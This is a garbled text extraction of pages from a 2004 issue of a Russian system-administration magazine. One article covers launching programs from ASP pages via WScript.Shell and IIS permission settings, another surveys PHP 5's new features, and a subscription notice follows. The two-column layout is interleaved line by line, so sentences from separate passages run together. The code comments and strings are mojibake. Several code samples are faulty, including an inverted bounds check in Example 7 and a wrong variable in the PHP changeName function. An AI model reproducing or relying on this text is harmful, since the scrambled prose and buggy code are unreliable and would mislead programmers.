сообщает об отсутствии таковых, однако требуемый резуль- <%Script Language=”JScript”%>
тат не достигается. Эта статья посвящена запуску различ-
ных типов приложений из ASP-страниц. Программный код, находящийся между <% и %>, вы-
полняется на сервере и подчинен синтаксису одного из
Active Server Pages выбранных языков. Весь остальной код представляет со-
ASP-страницы – это сценарии, программный код которых бой HTML-страницу в явном виде.
выполняется при их запросе. Результатом действия скрип- Листинг типовой ASP-страницы выглядит следующим
та является HTML/DHTML-страница, которая отображает- образом:
ся у клиента. Структура документа на ASP очень проста. В
первой строке всегда указывается язык, с помощью кото- Ïðèìåð 1:
рого созданы скриптовые вставки ASP-страница. Таким <%@ Language=VBScript CODEPAGE=1251%>
языком программирования может быть один из двух, под- <HTML>
<TITLE> Çàãîëîâîê ñòðàíèöû </TITLE>
держиваемый всеми браузерами: Jscript или VBScript. Во <HEAD>

86
программирование
<LINK href="../style.css" type=text/css rel=stylesheet> обладать соответствующими правами. IIS представляет со-
<meta http-equiv="Content-Type" content="text/html" ↵ бой трехзвенную систему.
charset=windows-1251>
</HEAD> <BODY>
<FONT FACE="Arial">

<%
… Ðèñóíîê 1
Response.write variable ‘ îòîáðàæåíèå íà ýêðàíå ↵
ñîäåðæèìîãî ïåðåìåííîé Пусть IIS имеет настройки по умолчанию. В этом случае
%> при загрузке любой ASP-страницы она стартует от имени
После обработки интерпретатором IIS программного кода встроенного пользователя (см. рис. 2). Если страница ра-
и преобразования результатов его работы в HTML/DHTML ботает с некими базами данных, например с Active Directory,
необходимо дать команду на отображение страницы в бра- то пользователь, запускающий данную страницу должен об-
узере клиента. Такой командой является Response.Write q, ладать правами администратора. Существует несколько
где q – имя переменной, содержащей фрагмент HTML-кода. способов выполнить эти условия. Первый – вместо учет-
ной записи встроенного пользователя прописать имя учет-
Методы запуска приложений из VBS ной записи администратора сети. При таком раскладе лю-
Рассмотрим вызов приложений непосредственно из фай- бой пользователь в сети сможет посетить данную страни-
ла VBS, для этого можно использовать один из методов – цу, т.к. она будет запускаться от имени системного адми-
Run или Exec. Необходимо отметить, что в VBScript не су- нистратора. Этот способ предоставляет всем доступ к дан-
ществует функции, с помощью которой можно запустить ной странице, что, согласитесь, неправильно. Это еще пол-
приложения, однако она существует в WSH, который под- беды. Главное, что таким образом резко снижается безопас-
держивает VBSscipt и JScript . Создание экземпляра объек- ность всей системы. В случае ошибок на странице злоумыш-
та WSH осуществляется с помощью команды Create ленник запросто запустит вредоносный код с правами ад-
Object(“WScript.Shell”). министратора. Поэтому предлагается другой способ реше-
ния проблемы, с помощью которого можно ограничить дос-
Ïðèìåð 2: туп к ресурсам. В настройках IIS необходимо сбросить фла-
Set Wshell = CreateObject("Wscript.shell") жок (см. рис. 2) с Enable anonymous access и установить
Set Proc = Wshell.Exec("application.exe") его напротив Basic Authentication. Также следует изменить
' Æäàòü, ïîêà íå çàâåðøèòñÿ âûïîëíåíèå ïðîãðàììû
Do While Proc.Status = 0 права на файловую структуру используемого сайта, исклю-
WScript.Sleep 100 чив оттуда группу Everyone и добавив соответствующую
Loop
группу безопасности. При такой настройке IIS только сис-
Set Wshell = Nothing темные администраторы получат доступ к данной страни-
MsgBox Proc.StdOut.ReadAll
це. При попытке любого пользователя, не являющегося ад-
Ïðèìåð 3: министратором сети, получить доступ к странице IIS будут
Set Wshell = CreateObject("Wscript.shell") запрошены имя и пароль пользователя.
Set Proc = Wshell.Run("application.exe")

Set Wshell = Nothing


MsgBox Proc

По своей сути оба варианта равнозначны, однако ото-


бражаемая в CMD-консоли информация (касается command-
line-утилит) может быть прочитана только в первом из при-
веденных примеров. Во втором примере можно считать
только статус завершения дочернего процесса (код ошиб-
ки): 0 – команда успешно выполнена, 1 – нет.
Для успешного запуска различных приложений из ASP-
страницы необходимо учитывать некоторые особенности,
о которых речь пойдет ниже. Все приложения можно услов-
но разделить на несколько групп:
! приложения с графическим интерфейсом;
! приложения, работающие из командной строки
(command lines utilities);
! скрипты на VBS/Jscript (хотя скрипты на VBS относятся
к приложениям, запускаемым из командной строки,
выделим их в отдельную группу).

Первая особенность: поскольку код ASP-страниц испол-


няется на сервере, и только результат в виде HTML-страни-
цы пересылается на клиентскую машину, то для успешно- Ðèñóíîê 2
го запуска приложения на сервере, пользователь должен Если необходимо расширить круг лиц, которым должен

№9(22), сентябрь 2004 87


программирование
быть доступен данный сайт, и при этом пользователи не полный путь к запускаемому приложению. Путь может быть
являются системными администраторами, то можно вос- как локальным, например, C:\Folder1\..., так и сетевым:
пользоваться вариантом, являющимся синтезом двух ра- \\Server\C$\Folder1...
нее изложенных решений: ограничить доступ на сайт с по-
мощью Basic Authentication и правами на файловую струк- Запуск приложения из командной строки
туру, запускать скрипт, инкапсулированный в страницу с (command line utility)
правами администратора. В качестве приложения может быть программа, запускае-
Только что мы рассмотрели механизм взаимодействия мая из командной строки (command-line utility), приложение
первого и второго звена в трехзвенной системе. Первым для Windows (файл с расширением EXE).
звеном является рабочая станция пользователя, вторым – Рассмотрим особенности запуска command-line-прило-
сервер, на котором установлен IIS. Взаимосвязь этих зве- жений из ASP-страниц. Синтаксис команды запуска утили-
ньев осуществляется с помощью одного пользователя. ты из командной строки следующий:
Между вторым и третьим звеном (сервер IIS, процессы, по-
рождаемые из ASP) взаимодействие осуществляется с по- %comspec% /c cmd_util.exe
мощью другого пользователя. Рассмотрим взаимодействие
второго и третьего звена подробнее. Префикс %comspec% /c является обязательным. Пере-
При запуске из кода ASP-страницы какого-либо прило- менная окружения %comspec% указывает на C:\Windows\
жения осуществляется взаимодействие между вторым и System32\cmd.exe. Поскольку при запуске внешней коман-
третьим звеном. IIS порождает процесс, запускаемый от ды порождается процесс CMD, то после отработки коман-
имени другого встроенного пользователя. Поскольку ASP- ды его необходимо закрыть. Эта процедура осуществляет-
страница выполняется на сервере, то для запуска прило- ся с помощью ключа /c. Если процессы не закрывать, то в
жения необходимы соответствующие права. Управление конце концов возникнет недостаток памяти на сервере, что
этой учетной записью пользователя осуществляется в приведет к существенному снижению скорости его работы,
Application Tools (см. рис. 3). а впоследствии к отказу функционирования различных
служб компонентов. Путь к утилите также необходимо пи-
сать полностью. Допускается использование сетевых имен
в формате UNC (\\Server\Share\...).

Запуск скриптов
Запуск скриптов имеет ряд особенностей. Рассмотрим два
вида скриптов, которые, на взгляд автора, используются
наиболее часто в данной ситуации: VBS-скрипты и BAT-
файлы.

Запуск VBS-файлов из скрипта


Бывают ситуации, когда необходимо из ASP-страницы за-
пустить внешний VBS-скрипт. Как правило, он запускается
с параметрами. Рассмотрим кусок листинга VBS-скрипта,
касающийся чтения его внешних параметров.
Чтение параметров основано на использовании свой-
ства Arguments объекта WScript WSH. Приведем пример,
который определяет, с какими параметрами был запущен
Ðèñóíîê 3 скрипт:
Такова первая особенность, касающаяся абсолютно всех
приложений. Существует вторая, также характерная для Ïðèìåð 4:
всех приложений. Set objArgs=Wscript.Arguments
С помощью ASP-страниц можно вызывать приложения, t=”Êîëè÷åñòâî çàäàííûõ ïàðàìåòðîâ - ” ↵
& Wscript.Arguments.Count & chr(13) & “Ïàðàìåòðû:” & chr(13)
находящиеся на удаленном компьютере. Некоторые прило- For Each arg in objArgs
жения не могут быть запущены на другой платформе. На- t = t & arg & chr(13)
Next
пример, некоторые утилиты, успешно запускающиеся в MsgBox t
Windows 2000, выдают сообщение об ошибке на Windows
2003, аналогичная ситуация может возникнуть с приложе-
ниями Windows 98, запускаемыми на Windows 2k.

Запуск приложения
c графическим интерфейсом
Запуск приложения осуществляется с использованием од-
ного из вышеописанных методов (см. примеры 2, 3). Един- Ðèñóíîê 4
ственной особенностью является необходимость указывать Чтение значений элементов массива, содержащего ар-

88
программирование
гументы скрипта, можно осуществлять другим способом. в том случае, если осуществляется чтение несуществую-
Оба варианта дают один и тот же результат. Поэтому его щих параметров.
выбор зависит от пристрастий программиста. Отметим
лишь, что первый вариант компактнее. Однако, если необ- Ïðèìåð 7:
ходимо использовать нумерацию объектов, то второй ва- Set objArgs=Wscript.Arguments
риант окажется удачнее, поскольку в первом придется вво- Coun = Wscript.Arguments.Count
q = InputBox (“Ââåäèòå íîìåð ñ÷èòûâàåìîãî àðãóìåíòà”, ↵
дить дополнительно счетчик: “×òåíèå íîìåðà àðãóìåíòà”)-1
t = ””
Ïðèìåð 5: if q> Coun then
t= objArgs(q)
else
Set objArgs=Wscript.Arguments t=”ERROR”
Coun = Wscript.Arguments.Count
t="Êîëè÷åñòâî çàäàííûõ ïàðàìåòðîâ - " & Coun & chr(13) ↵ End if
Msgbox t
& "Ïàðàìåòðû:" & chr(13)
For i=0 to Coun-1
t = t & i+1 & ": "& objArgs(i) & chr(13)
Next
MsgBox t Запуск BAT-файлов
При использовании BAT-файлов необходимо помнить, что
Иногда необходимо получить значение определенного отдельный процесс порождается не только в момент запус-
аргумента. Это проиллюстрировано в примере 6. Необхо- ка такого типа файлов, но и при выполнении каждой из ко-
димо помнить, что нумерация элементов начинается с 0: манд, находящихся внутри него. По той же самой причине не
стоит выполнять взаимосвязанные команды, поскольку мо-
Ïðèìåð 6: жет сложиться ситуация, когда первая еще не успела отра-
Set objArgs=Wscript.Arguments ботать, а вторая, содержащаяся в следующей строке и ис-
Msgbox objArgs(2) ' ×òåíèå òðåòüåãî àðãóìåíòà. пользующая результат работы первой команды, уже начала
выполняться. В результате произойдет ошибка. Чтобы избе-
Приведенный пример не является образцом програм- жать этого, вызывайте команды из кода ASP-страницы и
мирования, поскольку в примере отсутствует обработчик осуществляйте проверку результата отработанной команды.
ошибок. Подводя итог, кратко отметим, что при работе с внешни-
Предугадывание возможных ошибок, имитация простей- ми файлами из ASP-страниц необходимо учитывать осо-
шего интеллекта у программы является хорошим тоном в бенности работы IIS. Надеюсь, что прочитав эту статью, у
программировании. Поэтому создадим для этого примера программистов не будет проблем с запуском приложений
обработчик ошибок. В данной ситуации ошибка возникает из ASP-страниц.

№9(22), сентябрь 2004 89


программирование

PHP 5 – ПРИШЕСТВИЕ НЕИЗБЕЖНО

Появление PHP5 – эволюционное,


а не революционное событие.
Расмус Лердорф,
автор и первый разработчик PHP

КИРИЛЛ СУХОВ

90
программирование
Итак, свершилось. 13 июля 2004 г. вышла пятая версия са- <?
мого популярного на сегодняшний день языка веб-разра- class foo {
function __clone() {
ботки – PHP. Его создатель, Расмус Лердорф, подчёркива- print "Cloned!";
ет, что изменения, привнесённые в язык, не революцион- }
}
ны, а скорее эволюционны, но беглое знакомство с новыми
возможностями PHP заставляет усомниться в словах мэт- $obj =new foo();
clone $obj;
ра. За недолгое время своего существования PHP из набо-
ра скриптов для придания интерактивности домашней стра- ?>
нички автора сумел вырасти в мощное средство разработ- Разумеется, на этом нововведения не закончились. По-
ки веб-приложений и теперь – новый шаг вперед. Насколь- явилась полноценная реализация конструкторов и деструк-
ко этот шаг важен и какие последствия перехода на новую торов классов (__constuct, __destruct), стали доступны мо-
версию грозят программисту и системному администрато- дификаторы Private, Public, Protected; (В PHP 4 все методы
ру, можно оценить, ознакомившись с основными нововве- и переменные внутри объекта были открытыми), введены
дениями PHP 5 и возможными проблемами, связанными с абстрактные классы (то есть классы, используемые только
его использованием. как базовые).
Появились специальные методы (__call, __get, __set),
Объектная модель предназначенные для «отлова» всех нереализованных в
Наиболее радикальные изменения языка связаны с введе- данном классе методов, попыток изменения или доступа к
нием новой объектной модели – Zend Engine II. неопределённым (или недоступным) переменным. Откры-
Формально элементы ООП появились ещё до выхода лась возможность передать методу тип передаваемого ар-
четвёртой версии PHP и были значительно расширены в гумента.
пятой. Объектно-ориентированная модель позволяла рабо-
тать с классами и объектами, объединяя методы и свой- <?php
function expectsMyClass(MyClass $obj) {
ства, поддерживала наследование, но имела весьма серь- }
ёзные ограничения. Прежде всего это необходимость при ?>
каждом использовании объекта обращаться к нему по ссыл-
ке, в противном случае получалась его копия, и при любом Хотя множественное наследование в стиле С++ в PHP 5
изменении объекта или его свойств происходило копиро- не поддерживается, классы могут наследовать множествен-
вание в новый объект. Поясню на примере: ные контакты через ещё одно нововведение – интерфейсы.
Естественно, программистам, знакомым с Java, объяснять,
<?php что это такое, не надо, для остальных приведу пример:
class foo {
var $name;
function getName() { <?php
return $this->name; interface Display {
} function display();
function setName($name) { }
$this->name = $name; class Circle implements Display {
} function display() {
function foo($name) { print "Displaying circle ";
$this->setName($name); }
} }
} ?>

function changeName($person, $name) {


$foo->setName($name); (Класс может наследовать только один класс, но при
}
этом иметь столько интерфейсов, сколько потребуется)
$person = new foo("Bill"); Стал ли после всего вышеописанного PHP объектно-
changeName($person, "John");
print $person->getName(); ориентированным языком? На мой взгляд, сама постанов-
?> ка вопроса неправомерна. Как сказал по этому поводу Стер-
линг Хьюз (один из разработчиков PHP, автор книги PHP
В РНР 4 этот код выведет «Bill». Дело в том, что мы пе- Developer`s Cookbook): «Тяжело определить «настоящую
редаем объект $person в функцию changeName() по значе- объектность», так как у каждого есть своё мнение на этот
нию, а не по ссылке, таким образом, объект $person будет счёт».
скопирован, и changeName() будет работать уже с копией
объекта $person. Обработка исключений
В PHP 5 объектная модель была полностью переписа- Мне кажется, это одно из самых полезных новшеств PHP 5.
на, и работа теперь осуществляется с указателями на Механизм обработки исключений реализован за счёт кон-
объект. Нет необходимости явно передавать объекты или струкций try/catch/throw и позволяет значительно упростить
присваивать их по ссылке, всё происходит автоматически. код, разместив все обработчики ошибок в одном месте.
Впрочем, явная передача и присваивание по ссылке также Кроме того, предусмотрена возможность определять соб-
поддерживается, более того, введён новый метод _clone(), ственные исключения. Делается это посредством расши-
который можно использовать, в случае если возникает не- рения класса Exception, определив его конструктор и ме-
обходимость клонировать объект. тод getMessage:

№9(22), сентябрь 2004 91


программирование
<?php Что особенно ценно в случае невозможности (в силу ог-
class Exception { раничений данного расширения) выполнить какие-либо
function __construct(string $message=NULL, int $code=0) {
if (func_num_args()) { действия, всегда сохраняется шанс, преобразовать
$this->message = $message; объект SampleXML в дерево DOM, выполнить необходи-
}
мые действия и вернуться обратно, к SampleXML (функ-
$this->code = $code; ции dom_import_ () и simplexml _import_ dom () соответ-
$this->file = __FILE__; // of throw clause
$this->line = __LINE__; // of throw clause ственно). Оба расширения реализованы в одной библио-
$this->trace = debug_backtrace(); теке, и переключения между ними теперь, по крайней
$this->string = StringFormat($this);
} мере, безболезненны.
protected $message = 'Unknown exception'; // exception message
Поддержка SOAP в PHP 4 осуществлялась при помощи
protected $code = 0; // user defined exception code соответствующего пакета из PEAR и была недостаточно
protected $file; // source filename of exception полноценна. В PHP 5 реализация SOAP была полностью
protected $line; // source line of exception
private $trace; // backtrace of exception переписана, как С-расширение, и теперь практически со-
private $string; // internal only!! ответствует стандарту.
final function getMessage() {
return $this->message; Помню, несколько лет назад разворачивались доволь-
} но оживлённые дискуссии о самой возможности работать
final function getCode() { с веб-сервисами посредством PHP. С тех пор появилось не-
return $this->code; сколько реализаций SOAP, таких как PEAR::SOAP (http://
}
pear.php.net), NuSOAP (http://dietrich.ganx4.com/nusoap) и eZ
final function getFile() { SOAP (http://ez.no). Все они были написаны на PHP, и са-
return $this->file;
} мым важным преимуществом нового расширения, по-ви-
?>
димому, следует считать скорость работы. Кроме того, в
расширении SOAP почти полностью реализованы специфи-
XML кации SOAP 1.1 и SOAP 1.2, в частности поддержка комп-
После изменения объектной модели самым существенным лексных типов данных и SOAP-заголовков. А также WSDL
инновациям (на мой взгляд) подверглась работа с XML. В 1.1, на котором хотелось бы остановиться особо.
PHP 4 поддержка данных технологий была довольно раз- Сама реализация SOAP в этом расширении диктует
нородной, если не сказать бестолковой. Для использова- использовать WSDL (Web Services Description Language)
ния XSTL была необходима библиотека Sablotron, для SAX – там, где это возможно. Причём для увеличения скорости
Expat и, наконец, для полноценной работы с DOM – биб- работы WSDL-файл кэшируется, и параметры кэширова-
лиотека libxml2. Причём в последнем случае имели место ния настраиваются в конфигурационном файле php.ini.
многочисленные ошибки, утечки памяти и несоответствие Преимущества WSDL-стиля поясню на примере. Так
API стандартам W3C (впрочем, это был наименее болез- выглядит простейший SOAP-клиент, написанный без при-
ненный пункт). менения WSDL:
С появлением PHP 5 всё радикально изменилось. Все
вышеперечисленные расширения (и два новых, о которых $client = new SoapClient(null, array(
'location' => "http://localhost/soap.php",
речь пойдёт ниже) теперь основаны на libxml2, расширение 'uri' => "http://test-uri/",
DOM полностью соответствует стандартам и поддержива- 'style' => SOAP_DOCUMENT,
'use' => SOAP_LITERAL));
ет три вида схем для проверки (валидации XML-докумен-
тов: DTD, XML Schema и RelaxNG. SAX-расширение можно А так – тот же самый клиент, переписанный с использова-
заставить работать под старой библиотекой Expat для со- нием WSDL:
вместимости со старыми приложениями, пересобрав PHP
с соответствующей опцией, но в большинстве случаев та- $client = new SoapClient("some.wsdl");
кие ухищрения не понадобятся (как, собственно, и сам SAX,
но это уже моё личное мнение). При вызове методов различий в реализации гораздо
Особенность работы с XSLT (также основанной на больше. Так как отпадает необходимость указания не только
libxml2) теперь состоит в том, что XSL-преобразование не URI-сервера, но и пространства имен, заголовка SOAP
принимает таблицу стилей XSLT в качестве параметра, а Action, способа кодирования и типов параметров. Вся эта
зависит от расширения DOM. Таблица стилей теперь мо- информация берется из WSDL-документа. Единственной
жет кэшироваться в памяти и применяться ко многим доку- проблемой остаётся получение клиентом WSDL-файла с
ментам без дополнительной загрузки. сервера, но она решается за счёт вышеупомянутого меха-
В общем, подытоживая, можно сказать, что, совсем чуть низма кэширования.
потеряв, мы получили довольно много, а именно, наконец- Тут, наверное, следует остановиться, поскольку это до-
то стабильно работающую реализацию DOM. вольно большая и серьёзная тема и хоть как-нибудь развер-
Теперь о новинках. Появились два новых XML-расши- нуть её в нескольких абзацах не представляется возможным.
рения – SampleXML и SOAP (Simple Object Access Protocol). Заинтересовавшихся отсылаю к статье Дмитрия Стогова,
Вообще-то каждое из них заслуживает отдельного разго- одного из авторов SOAP-расширения PHP, «Практическое
вора, но если быть кратким, то первое – это прозрачное использование SOAP в PHP 5» (http://www.zend.com/php5/
представление XML-документа как родного объекта PHP. articles/php5-SOAP.php).

92
программирование
Базы данных COM
Так уж сложилось, что наиболее «php-совместимым» сер- Как известно, в PHP 4 (а точнее немного раньше) в языке
вером баз данных является СУБД MySQL. Эта связка была появилась поддержка COM-технологии.
поставлена под угрозу зимой 2004 года, когда MySQL AB На практике это означало возможность работы с любы-
изменила лицензию своего продукта, основанного на GPL. ми объектами, имеющими COM-интерфейс, в том числе и
Если не вдаваться в юридические тонкости, можно про- с приложениями Microsoft Office (что особо ценно, когда твои
сто сказать, что клиентская библиотека MySQL по умолча- отчёты требуются бухгалтерии или шефу).
нию в PHP больше не присутствовала. Её, конечно, можно Правда, данная реализация имела существенные не-
было установить, но предварительно тщательно ознакомив- удобства, связанные с недостатками объектной модели
шись с лицензией. Честно говоря, в среде PHP-программи- РНР 4, которая накладывала ограничения и на сами скрип-
стов это известие вызвало некоторый шок (и это несмотря ты, и на использование СОМ-расширений.
на то, что связка PHP 4.x и MySql 3.x оставалась вполне В пятой версии все, что связано с работой COM-рас-
легитимной). Часть разработчиков устремилась в сторону ширений, было полностью переписано (причём такие, не-
PostgreSQL, а часть просто обратила внимание на появив- сколько несвойственные идеологии COM-модели функции,
шееся уже в версии 4.3x новое расширение MySQLite. как com_addref(), com_release(), com_get(), com_set(), com_
Была ещё одна причина заинтересоваться этой библио- isenum() и com_load() попросту ликвидированы, что, стро-
текой. Периодически на форумах разработчиков поднима- го говоря, порождает некоторые проблемы обратной со-
ется вопрос – можно ли написать веб-приложение, «управ- вместимости). Добавлено много возможностей, из кото-
ляемое данными», без использования сервера баз данных. рых наиболее полезными (лично мне), представляются
Вообще мне всегда казалось, что эта экономия (ну, разуме- следующие:
ется, на хостинге) совершенно неуместна, но вот встроен- ! Обработка исключительных ситуаций (в PHP 4, внутри
ная библиотека SQLite, пожалуй, добавляет плюсов подоб- COM-кода это было невозможно). Она осуществляется
ному подходу. Во всяком случае средство работы с данными с помощью класса com_exception, который является рас-
(как бы удачней этот софт назвать?), поддерживающее та- ширением базового класса обработки исключений
кие возможности, как транзакции, вложенные запросы и exception, предоставляемого РНР, и включает все его
представления, по крайней мере заслуживает интереса. методы.
А что же с MySQL? ! Для перебора теперь доступна функция foreach(), тем,
В общем, юридические проблемы благополучно разре- кто имел опыт работы с COM посредством PHP, поймут
шились. Товарищи из MySQL AB, похоже, опомнились, и всё удобство этого новшества.
теперь ограничения на клиентскую библиотеку снято (во- ! Тип variant, наконец, обрёл нормальный, работоспособ-
обще понять их можно, популярность MySQL во многом ный вид, впрочем, об этом тоже можно довольно много
была основана на широком распространении PHP). Более говорить.
того, введено новое расширение, mysqli (Improved MySQL ! Модель OO в PHP 5 позволяет РНР-препроцессору са-
Extenrsion), поддерживающее новые возможности MySQL, мостоятельно получать от COM-объекта информацию о
появившиеся в версии 4.1 и выше, такие как транзакции, методе, который будет вызван.
репликация и т. д. (правда, стоит оговориться, что многие
из них ещё не реализованы). .Net
В РНР 5 встроена поддержка .Net. Точнее, есть возмож-
Прочее ность работать с экземплярами объектов, определенных в
.Net через взаимодействия с COM-оберткой.
Автозагрузка То есть можно считать, что PHP «видит» объекты .Net
Как известно, работая с PHP, приходится мириться с тем так, как если бы они были объектами COM, что даёт разра-
фактом, что препроцессор не держит приложение в памя- ботчику доступ к библиотеке .Net-классов.
ти целиком, а подгружает все файлы при обращении к каж-
дой странице. При использовании какого-нибудь популяр- Standard PHP Library (SPL)
ного движка совершенно очевидна избыточность получа- SPL, по сути, является средством расширяемости Zend
емого кода, но настройка подключения только необходи- Engine, это альтернативное расширение для Zend Engine 2,
мых классов или файлов – довольно кропотливое и не- которое определяет стандартный набор интерфейсов.
благодарное занятие. В PHP 5 эта проблема решена с по- Ваш объект использует интерфейс из SPL, и, когда осу-
мощью функции-события _autoload(). Суть её работы в сле- ществляется доступ к объекту через встроенные конст-
дующем: при обращении к неизвестному классу или ин- рукции PHP, вызываются различные методы, определён-
терфейсу автоматически подгружается файл, содержащий ные интерфейсом. Данная возможность основана на но-
их описание. Данная функция также снимает проблему вых внутренних свойствах Zend Engine 2, позволяющих
включения файлов в порядке иерархии наследования. создавать собственные и перезаписывать существующие
Надо сказать, что реализация автозагрузки на настоящий машинные коды (то есть opcodes – наборы инструкций, в
момент вызывает много нареканий, но останавливаться которые компилируется PHP-скрипт). На мой взгляд, SPL –
на них не буду, поскольку, скорее всего, к моменту выхо- самая спорная по полезности возможность PHP 5, так
да статьи большинство обнаруженных ошибок будут ис- как сильно затрудняет работу с вашим кодом других раз-
правлены. работчиков.

№9(22), сентябрь 2004 93


программирование
Новый API потоков Во-первых, данные проблемы будут касаться программ,
Понятие потоков (streams) появилось в PHP, начиная с вер- опирающихся на старые механизмы реализации классов.
сии 4.3.0. Этот механизм дал возможность абстрагирован- Выхода тут два: переписать код, используя вышеупомяну-
но работать с файлами, сетевыми ресурсами и архивами, тый метод __clone(), или в конфигурационном файле php.ini
предоставляя единый интерфейс доступа. В пятой версии включить параметр ze2.implicit_clone, приказав объектам
препроцессора возможности работы с потоками значитель- вести себя по привычной для PHP 4 схеме, вместе с тем ос-
но расширены, в частности, доступны низкоуровневые опе- тавляя возможность использовать свойства PHP 5, такие как
рации с сокетами, работа с сокет-сервером. Пример рабо- унифицированные конструкторы, пространства имён, ис-
ты с сокетами из документации: ключения, и т. д.
Правда, последнее больше похоже на капитуляцию, но
<?php при наличии уже существующих достаточно объёмных и
$socket = stream_socket_server("tcp://0.0.0.0:8000", ↵
$errno, $errstr); сложных проектов этот выход довольно разумен.
if (!$socket) { При работе с объектами необходимо также учитывать
echo "$errstr ($errno)<br />\n";
} else { то обстоятельство, что свойства объекта должны быть пре-
while ($conn = stream_socket_accept($socket)) { допределены, то есть нижеприведённый код работать не
fwrite($conn, 'The local time is ' . date('n/j/Y g:i ↵
a') . "\n"); будет:
fclose($conn);
} <?php
fclose($socket); class Container {
}
?> }
$c = &new Container;
$c->name = "Sterling";
Честно говоря, такие возможности мне лично исполь- echo $c->name;
зовать не приходилось, но само их наличие впечатляет. ?>

Perl Следующая по значимости проблема связана с новыми


Благодаря новому расширению для работы с Perl (не вклю- правилами работы с XML, дело тут не в изменении исполь-
чённому по умолчанию), в PHP 5 теперь возможно прямо из зуемых библиотек, а в том, что названия функций API были
PHP-кода вызывать Perl-скрипты и работать с объектами Perl. приведены в соответствие со стандартами W3C. Шаг бо-
лезненный но, по-видимому, необходимый. Для разработ-
Tidy чика нет другого пути, как переименовать функции в ста-
В PHP 5 включена поддержка библиотеки Tidy (http:// рой программе (благо с точки зрения функциональности
tidy.sf.net/), позволяющей разработчикам разбирать, прове- ничего не изменилось).
рять синтаксис и восстанавливать документы HTML. Исполь- Что ещё?
зуется как функциональный, так и объектно-ориентирован- Теперь зарезервированными являются следующие сло-
ный интерфейс, а также механизм исключений РНР 5. ва: try, catch, throw, exception, public, private, protected,
abstract, interface, final.
Уровень сообщений об ошибках Кроме того, при объявлении класса к ним добавляются
Новый уровень сообщений об ошибках E_STRICT включа- __call, __get, __set, __clone, __construct, __destruct. Прав-
ет вывод сообщений об использовании в коде устаревших да, я с трудом представляю программиста, который исполь-
(с точки зрения PHP 5) методов программирования. Он не зует подобные имена для констант или переменных, но тем
входит в уровень E_ALL, поэтому рекомендуемый уровень не менее.
выглядит так: E_ALL | E_STRICT. И наконец, самая фатальная потеря. Больше не поддер-
живается операционная система Windows 95. Не поддер-
Новый менеджер памяти живается, потому что не способна (по заявлению разработ-
Главными преимуществами менеджера памяти Zend Engine II чиков) реализовать новые возможности языка. Мне кажет-
являются улучшенная поддержка многопоточных сред и го- ся, что это известие поселит траур в душах большинства
раздо более эффективное освобождение распределённых PHP-программистов.
блоков памяти после каждого запроса.
С полным списком нововведений можно ознакомиться Резюме
на сайте компании Zend Technologies, по адресу http:// С моей точки зрения, вопрос, обновлять или не обновлять
www.zend.com/php5/whats-new.php. PHP, не стоит. Практически ничего не теряя, мы обретаем
впечатляющие новые возможности. Другой вопрос в том,
Ложка дёгтя что эти самые возможности диктуют по крайней мере не-
При выходе любой новой версии, того или иного продукта, сколько иной стиль программирования. Разумеется, мно-
неизбежно возникает проблема обратной совместимости. гие преимущества пятой версии можно использовать и без
Сразу встаёт вопрос разумной грани между полной обрат- этого, но, несмотря на заявления основателей Zend и са-
ной совместимостью и добавлением новых, где-то даже мого Расмуса Лердорфа, очевидно, что идеология языка
революционных возможностей. Мне кажется, что разработ- существенно изменилась.
чики PHP благополучно преодолели эти грабли, впрочем, Мне кажется, что это ни хорошо и ни плохо, это просто
судите сами. было неизбежно.

94
подписка на I полугодие 2005
Российская Федерация ! Узбекистан – по каталогу «Davriy nashrlar» российские
! Подписной индекс: 81655 издания через агентство по распространению печати
Каталог агентства «Роспечать» «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
! Подписной индекс: 87836 5/3, офис 33)
Объединенный каталог «Пресса России» ! Азербайджан – по объединенному каталогу российских
Адресный каталог «Подписка за рабочим столом» изданий через предприятие по распространению печа-
Адресный каталог «Библиотечный каталог» ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
! Альтернативные подписные агентства: ! Армения – по списку номенклатуры «АРЗИ» через ГЗАО
Агентство «Интер-Почта» (095) 500-00-60, курьерская «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)
доставка по Москве и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-
Агентство «Вся Пресса» (095) 787-34-47 на, 22)
Агентство «Курьер-Прессервис» ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)
http://www.arzy.ru и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)
http://www.gazety.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
http://www.presscafe.ru (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
по списку через ГУП «Почта Приднестровья» (МD-3300,
СНГ г.Тирасполь, ул.Ленина, 17)
В странах СНГ подписка принимается в почтовых отделе- по прайслисту через ООО Агентство «Editil Periodice»
ниях по национальным каталогам или по списку номенкла- (2012, г.Кишинев, бул. Штефан чел Маре, 134)
туры АРЗИ: ! Подписка для Украины:
! Казахстан – по каталогу «Российская Пресса» через Киевский главпочтамп
ОАО «Казпочта» и ЗАО «Евразия пресс» Подписное агентство «KSS»
! Беларусь – по каталогу изданий стран СНГ через РГО Телефон/факс (044)464-0220
«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса
России»

№9(22), сентябрь 2004 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№9(22), Сентябрь, 2004 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редактор Установка и настройка перь появился еще один способ «под-
Андрей Бешков W2K Server – Step-by-Step ружить» две самые популярные опера-
Данная статья – попытка автора систе- ционные системы – Linux и Windows.
РЕКЛАМНАЯ СЛУЖБА матизировать свой опыт по установке Для достижения поставленной цели
тел./факс: (095) 928-8253 и настройке Windows 2000/2003 Server разработчики использовали довольно
Константин Меделян для начинающих технических специали- интересное решение – запуск Linux-
reсlama@samag.ru стов. Она не претендует на полноту и ядра как отдельного процесса Windows.
абсолютную однозначность методов, а Последняя доступная на момент на-
Верстка и оформление предназначена исключительно для пре- писания статьи stable-версия coLinux –
imposer@samag.ru доставления начального опыта по на- 0.6.1, именно о ней и пойдет речь в дан-
maker_up@samag.ru стройке серверных систем на основе ной статье.
Дизайн обложки Windows 2000/2003 Server по принципу
